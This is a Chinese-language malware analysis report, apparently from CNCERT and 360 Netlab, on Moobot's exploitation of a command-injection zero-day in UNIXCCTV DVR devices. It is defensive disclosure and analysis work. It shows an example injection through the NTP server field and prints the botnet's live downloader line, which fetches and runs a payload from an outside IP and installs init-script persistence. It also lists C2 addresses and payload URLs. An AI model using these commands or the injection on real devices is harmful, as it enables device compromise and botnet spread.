Moobot 在野0day利用之UNIXCCTV DVR命令注入

本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布



概述


Moobot是一个基于Mirai开发的僵尸网络，自从其出现就一直很活跃，并且拥有0day漏洞利用的能力。我们有多篇和该botnet相关的文章，感兴趣的读者可以去阅读[1][2][3]。本文主要介绍CNCERT和360公司共同发现的Moobot针对UNIXCCTV DVR/NVR设备的0day利用。关于该漏洞的详细细节我们通知了厂家，并且确认当前厂家已经修复了该漏洞，发布了相应的补丁[ALL265 unix 2.3.7.8B09][NVR unix 2.3.7.8B05][ALL unixip 2.3.4.8B06]。友情提醒此类设备的用户及时更新设备固件。



时间线


 * 2020-06-09 首次捕获到针对该漏洞的探测扫描
 * 2020-06-24 首次捕获利用该漏洞传播的Moobot样本
 * 2020-08-24 厂家发布补丁修复bug



漏洞利用过程


我们捕获的Moobot样本并不具有该漏洞的利用功能。Moobot通过Loader扫描8000端口，定位到目标设备后利用漏洞植入Moobot样本。



漏洞分析


漏洞类型


远程命令注入漏洞


漏洞细节


漏洞位置为设备gui程序监听的8000端口（验证固件版本：ALL265_unix_2.3.7.2B.fwr），根据设备手册我们得知，该端口为DVR Watch，Search，Setup功能默认监听端口。



该端口具有可远程更新系统时间的功能，此功能实际由gui程序调用系统命令nptdate实现。 漏洞由此触发，gui程序执行ntpdate命令时没有对NTP server参数进行检查，导致命令注入漏洞。例如构造此条命令（ntpdate -d -t 1 time.nist.gov& whoami）将导致whoami命令被执行。部分Payload如下(因为有其他安全机构先于我们向厂家通报漏洞信息，并且没有公开漏洞信息。所以我们不打算公开完整PoC)：





受影响设备分析


通过扫描全网8000端口，我们发现6k左右的在线设备。绝大部分的设备都在美国。


受影响设备地理位置分布


   4529 United_States
    789 Republic_of_Korea
     84 Canada
     73 Japan
     66 Netherlands
     56 Australia
     55 Germany
     31 United_Kingdom
     23 Viet_Nam
     19 Malaysia
     15 Saudi_Arabia
     15 Czech
     14 Switzerland
     11 China



已知受影响设备：


     51 PVT-N5UNIXDVR 1
     28 PVT-8MUNIXDVR 1
     28 NVST-ILUNIXDVR 1
     25 NVST-ILUNIXNVR 1
     22 Magic-U-8M5UNIXDVR 1
     14 NVST-IPUNIXNVR 1
     13 NVST-IPUNIXDVR 1
      9 Magic-T-8M5UNIXDVR 1
      9 HD-Analog3RDVR 1
      6 Magic-QXUNIXDVR 1
      2 Magic-U-8M5UNIXDVR 2
      1 PVT-8MUNIXDVR
      1 NVR3RGPardisNVR
      1 Magic-U-8M5UNIXBoca DVR
      1 MER-28N16ENEODVR 1
      1 MER-28N08ENEODVR 1




样本分析





Verdict:Downloader


MD5:af3720d0141d246bd3ede434f7a14dcb


ASCII text, with CRLF line terminators



af3720d0141d246bd3ede434f7a14dcb是一个下载脚本，内容如下，


s=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > ."$s";chmod +x ."$s";./."$s" balloon;
echo -e "echo \"Starting logging\"\nklogd\nsyslogd -O /dvr/message -s 4000\n/cmslite/.o balloon;" > /etc/init.d/S11log




可以看出Downloader的主要功能为


 * 下载Moobot样本
 * 实现持久化


值得一提的是，下载的Moobot样本是压缩的，这在一定程度上对抗了网络流量层面对样本的直接检测。





Verdict:Moobot_leet


MD5:fb96c74e0548bd41621ea0dd98e8b2bb


ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped


Packer:No


Lib:uclibc



fb96c74e0548bd41621ea0dd98e8b2bb是一个Moobot变种，基于其复用了LeetHozer的加密方法，我们称之为Moobot_leet。Moobot_leet在主机行为层面和Mirai很相似，并无亮点，因此这方面不再细述；网络流量层面采用Tor Proxy，样本内嵌了大量的代理节点，而且Tor-C2被加密，下文将着重讨论加密方法和通信协议。



加密方法


Moobot_leet将Tor-C2分成了prefix(16 bytes),suffix(7 bytes)俩部分，分别存在样本的不同位置，采用LeetHozer的加密方法，需要合并才能解密出正确的Tor-C2。





解密方法如下


xorkey="qE6MGAbI"

def decode_str(ctxt):
    for i in range(0,len(xorkey)):
        plain=""
        size=len(ctxt)    
        for idx in range(0, size):
            ch=ord(ctxt[idx]) 
            ch ^=(ord(xorkey[i]) + idx )
            plain += chr(ch)
        ctxt=plain
    return ctxt   
    



以prefix（0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97）,suffix（CC 81 88 BB BD B8 DE）为例，拼接得到ciphertext（0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE)，解密可以得到Tor-C2为 ol6zbnlduigehodu.onion。

比较奇怪的一点是，从代码层面(random mod 7),可以看出应该有7个Tor-C2,但实际样本中只有3个，这会导致Bot访问非法的Tor-C2。我们猜测这是一种用来扰乱安全研究员&对抗沙箱IOC自动抽取系统的手段。





通信协议


Moobot_leet网络流量概览如下




首先和样本内置的代理节点建立连接，然后和Tor-C2建立连接，最后走正常的Moobot通信协议通知C2上线，接收C2下发的攻击指令。


1. 和代理建立连接，端口为9050




样本内置的代理节点列表如下：


1.26.150.133
104.45.52.37
107.21.38.230
12.11.175.187
128.199.45.26
13.50.100.110
136.243.69.28
138.68.107.137
158.69.33.149
165.22.117.234
173.212.249.65
185.242.114.206
193.29.187.226
193.70.77.132
20.188.45.175
3.8.5.177
31.6.69.162
35.153.180.187
35.158.231.234
4.21.119.186
45.137.22.80
45.14.148.239
46.101.216.75
5.138.113.101
5.252.225.249
51.11.247.88
51.15.239.174
51.75.144.59
51.77.148.172
62.149.14.80
79.130.136.67
80.241.212.116
82.146.61.193
82.230.81.131
86.177.24.148
89.163.146.187
89.217.41.145
9.43.47.135
9.43.47.39
90.93.30.29
91.228.218.66
92.222.76.104
92.29.22.186
93.104.211.123
94.100.28.172



2. 通过Tor-Proxy协议和C2建立连接





样本内置Tor-C2列表如下：


ol6zbnlduigehodu.onion：1900
uajl7qmdquxaramd.onion：554
nhez3ihtwxwthjkm.onion：21



3. 通过Moobot协议和C2进行通信，具体的上线，心跳，攻击如下所示


 * 
   
   
   上线包
   
   
   
   


     msg parsing
     ----------------------------------------------------------------
     33 66 99 					-----> hardcoded magic
     07							-----> group string length
     62 61 6c 6c 6f 6f 6e			-----> group string,here it is "balloon"



 * 心跳包
   
   


     msg parsing
     ----------------------------------------------------------------
     c7 15 3a fa 					-----> random 4 bytes msg from bot
     c7 15 3a fa						-----> 4 bytes msg from c2	



 * 攻击指令和mirai类似


00000000: 01 00 00 00 3C 01 C2 0F  92 0C 20 02 01 00 05 32  ....<..... ....2
00000010: 38 30 31 35 02 00 04 31  34 36 30 02 1C           8015...1460..




Moobot DDoS活动


Moobot的DDoS攻击活动常年活跃，我们之前的文章也有介绍Moobot的攻击活动[1]。有意思的是Moobot针对electrum.hodlister.co发起了长达数月的持续攻击（自2020-03-04持续到当前），原因不得而知。Moobot CC发起的部分攻击目标对应的域名如下图所示:





联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab上联系我们。



IoC


Tor-C2


djq6cvwigo7l7q62.onion:194
dl3ochoifo77lsak.onion:1553
krjn77m6demafp77.onion:6969
mvo4y3vr7xuxhwcf.onion:21
nhez3ihtwxwthjkm.onion:21
ol6zbnlduigehodu.onion:1900
stmptmmm27tco3oh.onion:115
tto6kqp6nsto5din.onion:17
uajl7qmdquxaramd.onion:554
wsvo6jwd3spsb4us.onion:1900



Sample MD5


022081bc7f49b4aa5c4b36982390cd97
05764c4d5ec37575d5fd3efe95cf3458
260bda811c00dac88b4f5a35e9939760
30416eae1f1922b28d93be8078b25ba0
348acf45ccb313f6c5d34ca5f68f5e13
3e9ae33e0d5c36f7cd5f576233d83f26
4d785886039cbca5372068377f72da43
565c0456c7fbb393ec483c648155b119
655b56b345799f99b614e23128942b92
7735289d33d14644fea27add188093ea
7988a73a4b5ccb7ca9b98dc633b8c0c6
b2c66c2831173b1117467fdabc78241e
bb27f755238528fc3c6386287a5c74a7
bff215a95f088672ad13933a1de70861
cb428a513275b5e969353596deb7383d
cf3602498c49caa902d87579fd420098
e24dc070a4d90a7b01389de9f2805b2b
fe0488ec71ee04ddb47792cae199595b



Downloader URL


http[://104.244.78.131/boot
http[://104.244.78.131/fre
http[://107.189.10.28/boot
http[://107.189.10.28/fre
http[://141.164.63.40/boot
http[://141.164.63.40/fre
http[://172.104.105.205/boot
http[://185.216.140.70/fre
http[://185.216.140.70/t
http[://185.39.11.84/fre
http[://89.248.174.166/t
http[://92.223.73.55/fre
http[://ape.run/dtf/b
http[://ape.run/fre
http[://c.uglykr.xyz/fre
http[://kreb.xyz/fre
http[://osrq.xyz/dtf/b
http[://osrq.xyz/fre



Scanner IP


176.126.175.10	AS47540|EURODC-AS	                Romania|Romania|Unknown
176.126.175.8	AS47540|EURODC-AS	                Romania|Romania|Unknown
185.107.80.202	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.203	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.34	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.62	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.39.11.84	AS62355|Network_Dedicated_SAS       Netherlands|North_Holland|Wormer
212.224.124.178	AS44066|First_Colo_GmbH	            Germany|Hesse|Frankfurt
89.248.174.165	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
89.248.174.166	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
89.248.174.203	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
92.223.73.136	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.54	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.55	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.72	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown